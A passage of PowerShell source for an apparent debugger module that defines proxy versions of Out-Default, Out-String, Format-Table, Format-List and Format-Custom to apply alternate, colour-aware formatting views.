) return $objToDealWith } if( $null -eq $currentSteppablePipeline ) { $private:outStringScriptCmd = { & $outStringWrappedCmd @PSBoundParameters } $currentSteppablePipeline = $outStringScriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $currentSteppablePipeline.Begin( $PSCmdlet ) } # TODO: Assert $null -ne $currentSteppablePipeline if( $bindUsingInputObject ) { $currentSteppablePipeline.Process( $null ) } else { $currentSteppablePipeline.Process( $objToDealWith ) } } catch { $e = $_ [System.Console]::WriteLine( "OutStringColorShim: OH NOES: $e" ) throw } finally { } } # end process block end { try { if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() } } catch { $e = $_ [System.Console]::WriteLine( "OutStringColorShim end: OH NOES: $e" ) throw } finally { } } # end end block } # end OutStringColorShim <# .SYNOPSIS Used to work around a bug/deficiency in setting $HostSupportsColor. .DESCRIPTION The Out-Default proxy dynamically toggles HostSupportsColor, and then tries to restore the original value. The problem is that every once in a while, if you CTRL-C at just the right time, Out-Default does not get a chance to restore the old value (there's no way to implement a "Dispose" method for a script function, and the 'end' block doesn't get to run). So now you're stuck, because now Out-Default thinks the "original" value is something else, and it always sets it back to that--even if you run "$HostSupportsColor = $true" or "[MS.Dbg.DbgProvider]::HostSupportsColor = $true", the Out-Default proxy's 'end' block will run and set it back. This method queues a work item to a separate thread, which does a "sleep" and then sets the property directly, hopefully after the Out-Default proxy has ended. #> function Reset-HostSupportsColor { [CmdletBinding()] [OutputType( ([MS.Dbg.ColorString]) )] param( [Parameter( Mandatory = $false, Position = 0 )] [bool] $Value = $true ) begin { } end { } process { # We can't just set $HostSupportsColor, because our intrepid Out-Default proxy # will always get the last word and set it back. This is a HACKY workaround to let # us get it set back the way we want. [MS.Dbg.DbgProvider]::ResetHostSupportsColor( $Value ) } } # end Reset-HostSupportsColor # This code helps demonstrate why we need both an Out-Default proxy and an # Out-String proxy. You can put a Console.WriteLine in the 'begin' block of our # Out-String proxy in order to see that piping $things to Out-Default does not # call the Out-String command (if you look at the implementation, the built-in # Out-Default command shares the same base class with the built-in Out-String # command, which is also the base class of the other formatting commands). <# Add-Type -TypeDef @' using System; public class Thing { public string Str; public int Num; public object Whatev; public Thing() { } public Thing( string str ) { Str = str; } public Thing( string str, int num ) : this( str ) { Num = num; } public Thing( string str, int num, object whatev ) : this( str, num ) { Whatev = whatev; } } '@ $t1 = New-Object 'Thing' -Arg @( "hi", 1 ) $t2 = New-Object 'Thing' -Arg @( "aasfd;asd", 12 ) $t3 = New-Object 'Thing' -Arg @( "fourscore", 20 ) $things = @( $t1, $t2, $t3 ) $things $things | Out-Default $things | Out-String #> # # The functions below have a lot in common with each other. So much so that they are # generated by a script in the AfeProxies directly (don't edit these here; edit the source # files under AfeProxy). # function Out-Default { [CmdletBinding( HelpUri = 'http://go.microsoft.com/fwlink/?LinkID=113362', RemotingCapability = 'None' )] param( [Parameter( ValueFromPipeline = $true )] [PSObject] ${InputObject} ) begin { [bool] $private:originalColorSupport = $HostSupportsColor [bool] $private:enableDebugSpew = $false if( $__formatDefaultProxyDebugSpew ) { $enableDebugSpew = $true } #[Console]::WriteLine( "Out-Default proxy begin" ) try { $private:currentFormatInfo = $null $private:currentSteppablePipeline = $null # TODO: What if someone else is also trying to proxy Out-Default? $private:outDefaultWrappedCmd = $ExecutionContext.InvokeCommand.GetCommand( 'Out-Default', [System.Management.Automation.CommandTypes]::Cmdlet ) $private:outBuffer = $null if( $PSBoundParameters.TryGetValue( 'OutBuffer', [ref] $outBuffer ) ) { $PSBoundParameters[ 'OutBuffer' ] = 1 } } catch { $e = $_ [System.Console]::WriteLine( "Out-Default begin: OH NOES: $e" ) throw } finally { } } # end begin block process { if( $enableDebugSpew ) { [Console]::WriteLine( " ======== Out-Default proxy: process ========" ) [Console]::WriteLine( ' $PSBoundParameters:' ) foreach( $key in $PSBoundParameters.Keys ) { $val = $PSBoundParameters[ $key ] if( $null -eq $val ) { $val = "" } [Console]::WriteLine( " [$($key)]: $($val)" ) } } try { $private:objToDealWith = $null [bool] $private:bindUsingInputObject = $false if( $null -eq $_ ) { if( $enableDebugSpew ) { [Console]::WriteLine( " OdProxy: Dollar-underbar is null." ) } $objToDealWith = $InputObject $bindUsingInputObject = $true } else { if( $enableDebugSpew ) { [Console]::WriteLine( " OdProxy: Dollar-underbar object of type: {0}", $_.GetType().FullName ) } $objToDealWith = $_ # Things get messed up in the child steppable pipeline if both $_ and # $InputObject are set. (I don't know why; they're both set here...) [void] $PSBoundParameters.Remove( 'InputObject' ) } if( $null -eq $objToDealWith ) # TODO: Do I need to handle [System.Management.Automation.Internal.AutomationNull]::Value? { return } $private:enumerable = GetEnumerable $objToDealWith if( $null -ne $enumerable ) { $null = $PSBoundParameters.Remove( 'InputObject' ) Enumerate $enumerable | Out-Default @PSBoundParameters return } # end if( it's enumerable ) $private:formatInfo = Get-AltFormatViewDef -ForObject $objToDealWith if( $null -eq $formatInfo ) { #[console]::WriteLine( "Did not find a formatInfo." ) if( ($null -ne $currentFormatInfo) -or ($null -eq $currentSteppablePipeline) ) { # Need to start up an Out-Default pipeline if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() } $global:HostSupportsColor = $false $private:outDefaultScriptCmd = { & $private:outDefaultWrappedCmd @PSBoundParameters } $currentSteppablePipeline = $private:outDefaultScriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $currentSteppablePipeline.Begin( $PSCmdlet ) } # else we keep using the $currentSteppablePipeline } else { if( ($null -eq $currentFormatInfo) -or ($currentFormatInfo -ne $formatInfo) ) { #[console]::WriteLine( "Starting a new pipeline for a known formatInfo of type {0}.", $formatInfo.GetType().FullName ) # Need to start up a new pipeline for the new formatInfo. if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() $global:HostSupportsColor = $originalColorSupport } $private:fullCmdName = $formatInfo.FormatCommand if( $null -ne $formatInfo.Module ) { $fullCmdName = $formatInfo.Module + '\' + $fullCmdName } $private:formatCmd = $ExecutionContext.InvokeCommand.GetCommand( $fullCmdName, [System.Management.Automation.CommandTypes]::All ) # TODO: what if we can't find it # TODO: comment below accurate? # Notice that we pipe the results to the original # Out-Default, else we wouldn't see any output. $private:scriptCmd = { & $formatCmd -FormatInfo $formatInfo @PSBoundParameters | & $private:outDefaultWrappedCmd } $currentSteppablePipeline = $scriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $currentSteppablePipeline.Begin( $PSCmdlet ) } else { #[console]::WriteLine( "Using existing pipeline for a known formatInfo of type {0}.", $currentFormatInfo.GetType().FullName ) } } # TODO: Assert $null -ne $currentSteppablePipeline $private:currentFormatInfo = $formatInfo if( $bindUsingInputObject ) { $currentSteppablePipeline.Process( $null ) } else { $currentSteppablePipeline.Process( $objToDealWith ) } } catch { $e = $_ [System.Console]::WriteLine( "Out-Default: OH NOES: $e" ) $global:HostSupportsColor = $originalColorSupport throw } finally { } } # end process block end { try { if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() } } catch { $e = $_ [System.Console]::WriteLine( "Out-Default end: OH NOES: $e" ) throw } finally { $global:HostSupportsColor = $originalColorSupport } } # end end block <# .ForwardHelpTargetName Out-Default .ForwardHelpCategory Cmdlet #> } # end Out-Default proxy function Out-String { [CmdletBinding( HelpUri = 'http://go.microsoft.com/fwlink/?LinkID=113368', RemotingCapability = 'None' )] param( [switch] ${Stream}, [ValidateRange( 2, 2147483647 )] [int] ${Width}, [Parameter( ValueFromPipeline = $true )] [PSObject] ${InputObject} ) begin { [bool] $private:originalColorSupport = $HostSupportsColor [bool] $private:enableDebugSpew = $false if( $__formatStringProxyDebugSpew ) { $enableDebugSpew = $true } #[Console]::WriteLine( "Out-String proxy begin" ) try { $private:currentFormatInfo = $null $private:currentSteppablePipeline = $null # TODO: What if someone else is also trying to proxy Out-String? $private:outStringWrappedCmd = Get-Command 'OutStringColorShim' $private:outBuffer = $null if( $PSBoundParameters.TryGetValue( 'OutBuffer', [ref] $outBuffer ) ) { $PSBoundParameters[ 'OutBuffer' ] = 1 } $private:OutStringOnlyParams = @{ } if( $PSBoundParameters.Remove( 'Width' ) ) { $OutStringOnlyParams[ 'Width' ] = $Width } if( $PSBoundParameters.Remove( 'Stream' ) ) { $OutStringOnlyParams[ 'Stream' ] = $Stream } # TODO: I don't think I handle -Stream properly when the alt formatting engine is in play. # TODO: Also, width. And can I game it for ColorStrings? } catch { $e = $_ [System.Console]::WriteLine( "Out-String begin: OH NOES: $e" ) throw } finally { } } # end begin block process { if( $enableDebugSpew ) { [Console]::WriteLine( " ======== Out-String proxy: process ========" ) [Console]::WriteLine( ' $PSBoundParameters:' ) foreach( $key in $PSBoundParameters.Keys ) { $val = $PSBoundParameters[ $key ] if( $null -eq $val ) { $val = "" } [Console]::WriteLine( " [$($key)]: $($val)" ) } } try { $private:objToDealWith = $null [bool] $private:bindUsingInputObject = $false if( $null -eq $_ ) { if( $enableDebugSpew ) { [Console]::WriteLine( " OsProxy: Dollar-underbar is null." ) } $objToDealWith = $InputObject $bindUsingInputObject = $true } else { if( $enableDebugSpew ) { [Console]::WriteLine( " OsProxy: Dollar-underbar object of type: {0}", $_.GetType().FullName ) } $objToDealWith = $_ # Things get messed up in the child steppable pipeline if both $_ and # $InputObject are set. (I don't know why; they're both set here...) [void] $PSBoundParameters.Remove( 'InputObject' ) } if( $null -eq $objToDealWith ) # TODO: Do I need to handle [System.Management.Automation.Internal.AutomationNull]::Value? { return } $private:enumerable = GetEnumerable $objToDealWith if( $null -ne $enumerable ) { $null = $PSBoundParameters.Remove( 'InputObject' ) Enumerate $enumerable | Out-String @PSBoundParameters return } # end if( it's enumerable ) $private:formatInfo = Get-AltFormatViewDef -ForObject $objToDealWith if( $null -eq $formatInfo ) { #[console]::WriteLine( "Did not find a formatInfo." ) if( ($null -ne $currentFormatInfo) -or ($null -eq $currentSteppablePipeline) ) { # Need to start up an Out-String pipeline if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() } $global:HostSupportsColor = $false $private:outStringScriptCmd = { & $private:outStringWrappedCmd @PSBoundParameters @OutStringOnlyParams } $currentSteppablePipeline = $private:outStringScriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $currentSteppablePipeline.Begin( $PSCmdlet ) } # else we keep using the $currentSteppablePipeline } else { if( ($null -eq $currentFormatInfo) -or ($currentFormatInfo -ne $formatInfo) ) { #[console]::WriteLine( "Starting a new pipeline for a known formatInfo of type {0}.", $formatInfo.GetType().FullName ) # Need to start up a new pipeline for the new formatInfo. if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() $global:HostSupportsColor = $originalColorSupport } $private:fullCmdName = $formatInfo.FormatCommand if( $null -ne $formatInfo.Module ) { $fullCmdName = $formatInfo.Module + '\' + $fullCmdName } $private:formatCmd = $ExecutionContext.InvokeCommand.GetCommand( $fullCmdName, [System.Management.Automation.CommandTypes]::All ) # TODO: what if we can't find it # TODO: comment below accurate? # Notice that we pipe the results to the original # Out-String, else we wouldn't see any output. $private:scriptCmd = { & $formatCmd -FormatInfo $formatInfo @PSBoundParameters | & $private:outStringWrappedCmd @OutStringOnlyParams } $currentSteppablePipeline = $scriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $currentSteppablePipeline.Begin( $PSCmdlet ) } else { #[console]::WriteLine( "Using existing pipeline for a known formatInfo of type {0}.", $currentFormatInfo.GetType().FullName ) } } # TODO: Assert $null -ne $currentSteppablePipeline $private:currentFormatInfo = $formatInfo if( $bindUsingInputObject ) { $currentSteppablePipeline.Process( $null ) } else { $currentSteppablePipeline.Process( $objToDealWith ) } } catch { $e = $_ [System.Console]::WriteLine( "Out-String: OH NOES: $e" ) $global:HostSupportsColor = $originalColorSupport throw } finally { } } # end process block end { try { if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() } } catch { $e = $_ [System.Console]::WriteLine( "Out-String end: OH NOES: $e" ) throw } finally { $global:HostSupportsColor = $originalColorSupport } } # end end block <# .ForwardHelpTargetName Out-String .ForwardHelpCategory Cmdlet #> } # end Out-String proxy function Format-Table { [CmdletBinding( HelpUri = 'http://go.microsoft.com/fwlink/?LinkID=113303' )] param( [switch] ${AutoSize}, [switch] ${HideTableHeaders}, [switch] ${Wrap}, [Parameter( Position = 0 )] [System.Object[]] ${Property}, [System.Object] ${GroupBy}, [string] ${View}, [switch] ${ShowError}, [switch] ${DisplayError}, [Alias( 'f' )] [switch] ${Force}, [ValidateSet( 'CoreOnly', 'EnumOnly', 'Both' )] [string] ${Expand}, [Parameter( ValueFromPipeline = $true )] [psobject] ${InputObject}, [Parameter( Mandatory = $false )] [MS.Dbg.Formatting.IFormatInfo] ${FormatInfo} ) begin { [bool] $private:originalColorSupport = $HostSupportsColor [bool] $private:useSuppliedView = $false [bool] $private:enableDebugSpew = $false if( $__formatTableProxyDebugSpew ) { $enableDebugSpew = $true } try { if( [string]::IsNullOrEmpty( $Expand ) ) { $Expand = 'EnumOnly' } $private:currentTableViewDef = $null $private:currentSteppablePipeline = $null $private:outBuffer = $null if( $PSBoundParameters.TryGetValue( 'OutBuffer', [ref] $outBuffer ) ) { $PSBoundParameters[ 'OutBuffer' ] = 1 } $private:tmp = $null if( $PSBoundParameters.TryGetValue( 'Expand', [ref] $tmp ) ) { # Don't do enumeration recursively. $PSBoundParameters[ 'Expand' ] = 'CoreOnly' } if( $null -ne $FormatInfo ) { $useSuppliedView = $true } } catch { $e = $_ [System.Console]::WriteLine( "OH NOES (Format-Table begin): $e" ) throw } finally { } } # end 'begin' block process { if( $enableDebugSpew ) { [Console]::WriteLine( " ======== Format-Table proxy: process ========" ) [Console]::WriteLine( ' $PSBoundParameters:' ) foreach( $key in $PSBoundParameters.Keys ) { $val = $PSBoundParameters[ $key ] if( $null -eq $val ) { $val = "" } [Console]::WriteLine( " [$($key)]: $($val)" ) } } try { $private:objToDealWith = $null [bool] $private:bindUsingInputObject = $false if( $null -eq $_ ) { if( $enableDebugSpew ) { [Console]::WriteLine( " FtProxy: Dollar-underbar is null." ) [Console]::WriteLine( " FtProxy: `$InputObject is type: {0}", $InputObject.GetType().FullName ) } $objToDealWith = $InputObject $bindUsingInputObject = $true } else { if( $enableDebugSpew ) { [Console]::WriteLine( " FtProxy: Dollar-underbar object of type: {0}", $_.GetType().FullName ) } $objToDealWith = $_ # Things get messed up in the child steppable pipeline if both $_ and # $InputObject are set. (I don't know why; they're both set here...) [void] $PSBoundParameters.Remove( 'InputObject' ) } if( $null -eq $objToDealWith ) # TODO: Do I need to handle [System.Management.Automation.Internal.AutomationNull]::Value? { return } # If -Expand Both, then we always format the current object as a list, then # enumerate it and apply the desired formatting to those. [bool] $private:skipNormalFormatting = $false $private:enumerable = GetEnumerable $objToDealWith if( $null -ne $enumerable ) { if( $Expand -eq 'CoreOnly' ) { # Nothing to do. Proceed as normal. } elseif( $Expand -eq 'EnumOnly' ) { $null = $PSBoundParameters.Remove( 'InputObject' ) $PSBoundParameters[ 'Expand' ] = 'CoreOnly' Enumerate $enumerable | Format-Table @PSBoundParameters return } elseif( $Expand -eq 'Both' ) { "The following object supports IEnumerable:`n" # This matches the behavior of built-in F+O. $skipNormalFormatting = $true Format-List -InputObject $objToDealWith -Expand CoreOnly } else { # Should be impossible to get here. throw "Unexpected `$Expand value: $($Expand)." } } # end if( it's enumerable ) if( !$skipNormalFormatting ) { $private:_formatInfo = $null if( $useSuppliedView ) { ${_formatInfo} = $FormatInfo } else { ${_formatInfo} = Get-AltFormatViewDef -ForObject $objToDealWith ` -FormatInfoType ([MS.Dbg.Formatting.AltTableViewDefinition]) } if( $null -eq ${_formatInfo} ) { if( ($null -ne $private:currentTableViewDef) -or ($null -eq $currentSteppablePipeline) ) { # Need to start up a Format-Table pipeline if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() } $global:HostSupportsColor = $false $private:formatTableWrappedCmd = $ExecutionContext.InvokeCommand.GetCommand( 'Format-Table', [System.Management.Automation.CommandTypes]::Cmdlet ) $private:formatTableScriptCmd = { & $private:formatTableWrappedCmd @PSBoundParameters | OutStringColorShim -Stream | TrimStream } #$private:formatTableScriptCmd = { & $private:formatTableWrappedCmd @PSBoundParameters } $currentSteppablePipeline = $private:formatTableScriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $currentSteppablePipeline.Begin( $PSCmdlet ) } # else we keep using the $currentSteppablePipeline } else { if( ($null -eq $private:currentTableViewDef) -or ($private:currentTableViewDef -ne ${_formatInfo}) ) { # Need to start up a new pipeline for the new _formatInfo. if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() $global:HostSupportsColor = $originalColorSupport } $private:fullCmdName = 'Debugger\Format-AltTable' $private:formatCmd = $ExecutionContext.InvokeCommand.GetCommand( $fullCmdName, [System.Management.Automation.CommandTypes]::All ) [void] $PSBoundParameters.Remove( 'FormatInfo' ) # in case it was explicitly passed. $private:scriptCmd = { & $formatCmd -FormatInfo ${_formatInfo} @PSBoundParameters } $currentSteppablePipeline = $scriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $currentSteppablePipeline.Begin( $PSCmdlet ) } } # TODO: Assert $null -ne $currentSteppablePipeline $private:currentTableViewDef = ${_formatInfo} if( $bindUsingInputObject ) { $currentSteppablePipeline.Process( $null ) } else { $currentSteppablePipeline.Process( $objToDealWith ) } } # end if( !$skipNormalFormatting ) if( ($null -ne $enumerable) -and ($Expand -eq 'Both') ) { if( $null -ne $currentSteppablePipeline ) { # We need to end this first. The built-in Out-Default does not like to # be recursive, and if we wait until after we do the enumeration to # end this pipeline, when we end the Out-Default, it sends out some # GroupEnd and FormatEnd formatting objects, and they get unhappy. $currentSteppablePipeline.End() $currentSteppablePipeline = $null } # The built-in F+O counts how many objects in the enumerable to put into this message. Why do that? "`nThe IEnumerable contains the following objects:`n" #foreach( $eItem in $enumerable ) #{ # $PSBoundParameters[ 'InputObject' ] = $eItem # $PSBoundParameters[ 'Expand' ] = 'CoreOnly' # Format-Table @PSBoundParameters #} [void] $PSBoundParameters.Remove( 'InputObject' ) $PSBoundParameters[ 'Expand' ] = 'CoreOnly' Enumerate $enumerable | Format-Table @PSBoundParameters } # end if( $enumerable ) } catch { $e = $_ [System.Console]::WriteLine( "OH NOES (Format-Table process): $e" ) $global:HostSupportsColor = $originalColorSupport throw } finally { } } # end 'process' block end { try { if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() } } catch { $e = $_ [System.Console]::WriteLine( "OH NOES (Format-Table end): $e" ) throw } finally { $global:HostSupportsColor = $originalColorSupport } } # end 'end' block <# .ForwardHelpTargetName Format-Table .ForwardHelpCategory Cmdlet #> } # end Format-Table proxy function Format-List { [CmdletBinding( HelpUri = 'http://go.microsoft.com/fwlink/?LinkID=113302' )] param( [Parameter( Position = 0 )] [System.Object[]] ${Property}, [System.Object] ${GroupBy}, [string] ${View}, [switch] ${ShowError}, [switch] ${DisplayError}, [Alias( 'f' )] [switch] ${Force}, [ValidateSet( 'CoreOnly', 'EnumOnly', 'Both' )] [string] ${Expand}, [Parameter( ValueFromPipeline = $true )] [psobject] ${InputObject}, [Parameter( Mandatory = $false )] [MS.Dbg.Formatting.IFormatInfo] ${FormatInfo} ) begin { [bool] $private:originalColorSupport = $HostSupportsColor [bool] $private:useSuppliedView = $false [bool] $private:enableDebugSpew = $false if( $__formatListProxyDebugSpew ) { $enableDebugSpew = $true } try { if( [string]::IsNullOrEmpty( $Expand ) ) { $Expand = 'EnumOnly' } $private:currentListViewDef = $null $private:currentSteppablePipeline = $null $private:outBuffer = $null if( $PSBoundParameters.TryGetValue( 'OutBuffer', [ref] $outBuffer ) ) { $PSBoundParameters[ 'OutBuffer' ] = 1 } $private:tmp = $null if( $PSBoundParameters.TryGetValue( 'Expand', [ref] $tmp ) ) { # Don't do enumeration recursively. $PSBoundParameters[ 'Expand' ] = 'CoreOnly' } if( $null -ne $FormatInfo ) { $useSuppliedView = $true } } catch { $e = $_ [System.Console]::WriteLine( "OH NOES (Format-List begin): $e" ) throw } finally { } } # end 'begin' block process { if( $enableDebugSpew ) { [Console]::WriteLine( " ======== Format-List proxy: process ========" ) [Console]::WriteLine( ' $PSBoundParameters:' ) foreach( $key in $PSBoundParameters.Keys ) { $val = $PSBoundParameters[ $key ] if( $null -eq $val ) { $val = "" } [Console]::WriteLine( " [$($key)]: $($val)" ) } } try { $private:objToDealWith = $null [bool] $private:bindUsingInputObject = $false if( $null -eq $_ ) { if( $enableDebugSpew ) { [Console]::WriteLine( " FlProxy: Dollar-underbar is null." ) [Console]::WriteLine( " FlProxy: `$InputObject is type: {0}", $InputObject.GetType().FullName ) } $objToDealWith = $InputObject $bindUsingInputObject = $true } else { if( $enableDebugSpew ) { [Console]::WriteLine( " FlProxy: Dollar-underbar object of type: {0}", $_.GetType().FullName ) } $objToDealWith = $_ # Things get messed up in the child steppable pipeline if both $_ and # $InputObject are set. (I don't know why; they're both set here...) [void] $PSBoundParameters.Remove( 'InputObject' ) } if( $null -eq $objToDealWith ) # TODO: Do I need to handle [System.Management.Automation.Internal.AutomationNull]::Value? { return } # If -Expand Both, then we always format the current object as a list, then # enumerate it and apply the desired formatting to those. [bool] $private:skipNormalFormatting = $false $private:enumerable = GetEnumerable $objToDealWith if( $null -ne $enumerable ) { if( $Expand -eq 'CoreOnly' ) { # Nothing to do. Proceed as normal. } elseif( $Expand -eq 'EnumOnly' ) { $null = $PSBoundParameters.Remove( 'InputObject' ) $PSBoundParameters[ 'Expand' ] = 'CoreOnly' Enumerate $enumerable | Format-List @PSBoundParameters return } elseif( $Expand -eq 'Both' ) { "The following object supports IEnumerable:`n" # This matches the behavior of built-in F+O. $skipNormalFormatting = $true Format-List -InputObject $objToDealWith -Expand CoreOnly } else { # Should be impossible to get here. throw "Unexpected `$Expand value: $($Expand)." } } # end if( it's enumerable ) if( !$skipNormalFormatting ) { $private:_formatInfo = $null if( $useSuppliedView ) { ${_formatInfo} = $FormatInfo } else { ${_formatInfo} = Get-AltFormatViewDef -ForObject $objToDealWith ` -FormatInfoType ([MS.Dbg.Formatting.AltListViewDefinition]) } if( $null -eq ${_formatInfo} ) { if( ($null -ne $private:currentListViewDef) -or ($null -eq $currentSteppablePipeline) ) { # Need to start up a Format-List pipeline if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() } $global:HostSupportsColor = $false $private:formatListWrappedCmd = $ExecutionContext.InvokeCommand.GetCommand( 'Format-List', [System.Management.Automation.CommandTypes]::Cmdlet ) $private:formatListScriptCmd = { & $private:formatListWrappedCmd @PSBoundParameters | OutStringColorShim -Stream | TrimStream } #$private:formatListScriptCmd = { & $private:formatListWrappedCmd @PSBoundParameters } $currentSteppablePipeline = $private:formatListScriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $currentSteppablePipeline.Begin( $PSCmdlet ) } # else we keep using the $currentSteppablePipeline } else { if( ($null -eq $private:currentListViewDef) -or ($private:currentListViewDef -ne ${_formatInfo}) ) { # Need to start up a new pipeline for the new _formatInfo. if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() $global:HostSupportsColor = $originalColorSupport } $private:fullCmdName = 'Debugger\Format-AltList' $private:formatCmd = $ExecutionContext.InvokeCommand.GetCommand( $fullCmdName, [System.Management.Automation.CommandTypes]::All ) [void] $PSBoundParameters.Remove( 'FormatInfo' ) # in case it was explicitly passed. $private:scriptCmd = { & $formatCmd -FormatInfo ${_formatInfo} @PSBoundParameters } $currentSteppablePipeline = $scriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $currentSteppablePipeline.Begin( $PSCmdlet ) } } # TODO: Assert $null -ne $currentSteppablePipeline $private:currentListViewDef = ${_formatInfo} if( $bindUsingInputObject ) { $currentSteppablePipeline.Process( $null ) } else { $currentSteppablePipeline.Process( $objToDealWith ) } } # end if( !$skipNormalFormatting ) if( ($null -ne $enumerable) -and ($Expand -eq 'Both') ) { if( $null -ne $currentSteppablePipeline ) { # We need to end this first. The built-in Out-Default does not like to # be recursive, and if we wait until after we do the enumeration to # end this pipeline, when we end the Out-Default, it sends out some # GroupEnd and FormatEnd formatting objects, and they get unhappy. $currentSteppablePipeline.End() $currentSteppablePipeline = $null } # The built-in F+O counts how many objects in the enumerable to put into this message. Why do that? "`nThe IEnumerable contains the following objects:`n" #foreach( $eItem in $enumerable ) #{ # $PSBoundParameters[ 'InputObject' ] = $eItem # $PSBoundParameters[ 'Expand' ] = 'CoreOnly' # Format-List @PSBoundParameters #} [void] $PSBoundParameters.Remove( 'InputObject' ) $PSBoundParameters[ 'Expand' ] = 'CoreOnly' Enumerate $enumerable | Format-List @PSBoundParameters } # end if( $enumerable ) } catch { $e = $_ [System.Console]::WriteLine( "OH NOES (Format-List process): $e" ) $global:HostSupportsColor = $originalColorSupport throw } finally { } } # end 'process' block end { try { if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() } } catch { $e = $_ [System.Console]::WriteLine( "OH NOES (Format-List end): $e" ) throw } finally { $global:HostSupportsColor = $originalColorSupport } } # end 'end' block <# .ForwardHelpTargetName Format-List .ForwardHelpCategory Cmdlet #> } # end Format-List proxy function Format-Custom { [CmdletBinding( HelpUri = 'http://go.microsoft.com/fwlink/?LinkID=113301' )] param( [Parameter( Position = 0 )] [System.Object[]] ${Property}, [ValidateRange( 1, 2147483647 )] [int] ${Depth}, [System.Object] ${GroupBy}, [string] ${View}, [switch] ${ShowError}, [switch] ${DisplayError}, [Alias( 'f' )] [switch] ${Force}, [ValidateSet( 'CoreOnly', 'EnumOnly', 'Both' )] [string] ${Expand}, [Parameter( ValueFromPipeline = $true )] [psobject] ${InputObject}, [Parameter( Mandatory = $false )] [MS.Dbg.Formatting.IFormatInfo] ${FormatInfo} ) begin { [bool] $private:originalColorSupport = $HostSupportsColor [bool] $private:useSuppliedView = $false [bool] $private:enableDebugSpew = $false if( $__formatCustomProxyDebugSpew ) { $enableDebugSpew = $true } try { if( [string]::IsNullOrEmpty( $Expand ) ) { $Expand = 'EnumOnly' } $private:currentCustomViewDef = $null $private:currentSteppablePipeline = $null $private:outBuffer = $null if( $PSBoundParameters.TryGetValue( 'OutBuffer', [ref] $outBuffer ) ) { $PSBoundParameters[ 'OutBuffer' ] = 1 } $private:tmp = $null if( $PSBoundParameters.TryGetValue( 'Expand', [ref] $tmp ) ) { # Don't do enumeration recursively. $PSBoundParameters[ 'Expand' ] = 'CoreOnly' } if( $null -ne $FormatInfo ) { $useSuppliedView = $true } } catch { $e = $_ [System.Console]::WriteLine( "OH NOES (Format-Custom begin): $e" ) throw } finally { } } # end 'begin' block process { if( $enableDebugSpew ) { [Console]::WriteLine( " ======== Format-Custom proxy: process ========" ) [Console]::WriteLine( ' $PSBoundParameters:' ) foreach( $key in $PSBoundParameters.Keys ) { $val = $PSBoundParameters[ $key ] if( $null -eq $val ) { $val = "" } [Console]::WriteLine( " [$($key)]: $($val)" ) } } try { $private:objToDealWith = $null [bool] $private:bindUsingInputObject = $false if( $null -eq $_ ) { if( $enableDebugSpew ) { [Console]::WriteLine( " FcProxy: Dollar-underbar is null." ) [Console]::WriteLine( " FcProxy: `$InputObject is type: {0}", $InputObject.GetType().FullName ) } $objToDealWith = $InputObject $bindUsingInputObject = $true } else { if( $enableDebugSpew ) { [Console]::WriteLine( " FcProxy: Dollar-underbar object of type: {0}", $_.GetType().FullName ) } $objToDealWith = $_ # Things get messed up in the child steppable pipeline if both $_ and # $InputObject are set. (I don't know why; they're both set here...) [void] $PSBoundParameters.Remove( 'InputObject' ) } if( $null -eq $objToDealWith ) # TODO: Do I need to handle [System.Management.Automation.Internal.AutomationNull]::Value? { return } # If -Expand Both, then we always format the current object as a list, then # enumerate it and apply the desired formatting to those. [bool] $private:skipNormalFormatting = $false $private:enumerable = GetEnumerable $objToDealWith if( $null -ne $enumerable ) { if( $Expand -eq 'CoreOnly' ) { # Nothing to do. Proceed as normal. } elseif( $Expand -eq 'EnumOnly' ) { $null = $PSBoundParameters.Remove( 'InputObject' ) $PSBoundParameters[ 'Expand' ] = 'CoreOnly' Enumerate $enumerable | Format-Custom @PSBoundParameters return } elseif( $Expand -eq 'Both' ) { "The following object supports IEnumerable:`n" # This matches the behavior of built-in F+O. $skipNormalFormatting = $true Format-List -InputObject $objToDealWith -Expand CoreOnly } else { # Should be impossible to get here. throw "Unexpected `$Expand value: $($Expand)." } } # end if( it's enumerable ) if( !$skipNormalFormatting ) { $private:_formatInfo = $null if( $useSuppliedView ) { ${_formatInfo} = $FormatInfo } else { ${_formatInfo} = Get-AltFormatViewDef -ForObject $objToDealWith ` -FormatInfoType ([MS.Dbg.Formatting.AltCustomViewDefinition]) } if( $null -eq ${_formatInfo} ) { if( ($null -ne $private:currentCustomViewDef) -or ($null -eq $currentSteppablePipeline) ) { # Need to start up a Format-Custom pipeline if( $null -ne $currentSteppablePipeline ) { $currentSteppablePipeline.End() } $global:HostSupportsColor = $false $private:formatCustomWrappedCmd = $ExecutionContext.InvokeCommand.GetCommand( 'Format-Custom', [System.Management.Automation.CommandTypes]::Cmdlet ) $private:formatCustomScriptCmd = { & $private:formatCustomWrappedCmd @PSBoundParameters | OutStringColorShim -Stream | TrimStream } #$private:formatCustomScriptCmd = { & $private:formatCustomWrappedCmd @PSBoundParameters } $currentSteppablePipeline = $private:formatCustomScriptCmd.GetSteppablePipeline( $myInvocation.CommandOrigin ) $currentSteppablePipeline.Begin( $PSCmdlet ) } # else we keep using the $currentSteppablePipeline } else { if( ($null -eq $private:currentCustomViewDef) -or ($private:currentCustomViewDef -ne ${_formatInfo}) ) { # Need to start up a new pipeline for the new _formatInfo. if( $null -ne $currentSteppablePipeline ) { 